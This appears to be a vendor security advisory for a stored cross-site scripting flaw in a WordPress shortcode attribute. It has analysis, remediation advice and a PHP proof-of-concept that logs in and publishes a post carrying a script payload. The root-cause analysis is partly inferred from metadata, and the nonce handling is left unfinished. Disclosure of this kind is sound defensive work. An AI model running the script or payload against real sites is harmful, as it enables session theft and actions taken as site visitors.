Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1853: BuddyHolis ListSearch <= 1.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'placeholder' Shortcode Attribute (listsearch)

CVE ID CVE-2026-1853
Plugin listsearch
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.1
Patched Version
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1853 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the BuddyHolis ListSearch WordPress plugin, affecting version 1.1 and earlier. The vulnerability exists within the plugin’s ‘listsearch’ shortcode handler, specifically in the processing of the ‘placeholder’ attribute. Attackers with contributor-level or higher WordPress access can inject malicious scripts that persist in page content and execute in victims’ browsers.

Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers a shortcode handler using `add_shortcode(‘listsearch’, …)`. This handler receives user-controlled attributes from the shortcode. The vulnerability description confirms the plugin fails to properly sanitize the ‘placeholder’ attribute value before storing it in the post content and fails to escape it upon output. This inference is based on the CWE-79 classification and the described attack vector.

Exploitation requires an authenticated attacker with at least contributor-level permissions. The attacker creates or edits a post or page and inserts the vulnerable shortcode with a malicious ‘placeholder’ attribute. A sample payload is `[listsearch placeholder=”alert(document.domain)”]`. When the post is saved, the unsanitized script is stored in the database. The script executes in the browser of any user who views the page containing the shortcode. The attack vector is the WordPress post editor, and the endpoint is the standard `wp-admin/post.php` admin interface for creating/editing content.

Remediation requires implementing proper input validation and output escaping. The plugin should sanitize shortcode attributes on input using functions like `sanitize_text_field()` or `wp_kses()`. It must also escape the attribute on output using `esc_attr()` before echoing the value into HTML attributes. A secure patch would apply these functions to the ‘placeholder’ attribute and all other user-controlled attributes within the shortcode handler.

The impact is client-side code execution within the context of the vulnerable site. Successful exploitation allows an attacker to perform actions as the victim user, such as stealing session cookies, performing actions on behalf of the user, or redirecting to malicious sites. The stored nature of the XSS increases its severity, as the payload executes for all visitors to the compromised page. The CVSS score of 6.4 reflects the moderate confidentiality and integrity impacts combined with the network-wide scope change.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1853 - BuddyHolis ListSearch <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'placeholder' Shortcode Attribute
<?php
// CONFIGURATION
$target_url = 'http://target-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';

// ASSUMPTIONS:
// 1. The attacker has valid contributor-level credentials.
// 2. The plugin is active and the 'listsearch' shortcode is registered.
// 3. The standard WordPress admin endpoints are accessible.

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = str_replace('post.php', 'wp-login.php', $target_url);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Step 2: Create a new post with the malicious shortcode
$create_post_url = $target_url;
$post_fields = [
    'post_title' => 'Atomic Edge XSS Test Post',
    'content' => '[listsearch placeholder="' . $payload . '"]',
    'post_status' => 'publish',
    'action' => 'editpost',
    '_wpnonce' => '// Nonce would be extracted from a previous response in a full implementation',
    'post_type' => 'post'
];
// In a real scenario, we would first GET the post creation page to obtain a valid nonce.
// This PoC assumes the nonce check is bypassed or we have extracted a valid one.
// For demonstration, we show the structure of the malicious request.
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Check for success indicators
if (strpos($response, 'post-updated') !== false || strpos($response, 'Post published') !== false) {
    echo "[+] Exploit likely successful. Shortcode with XSS payload inserted.n";
    echo "[+] Visit the published post to trigger the script.n";
} else {
    echo "[-] Exploit may have failed. Check authentication and nonce.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School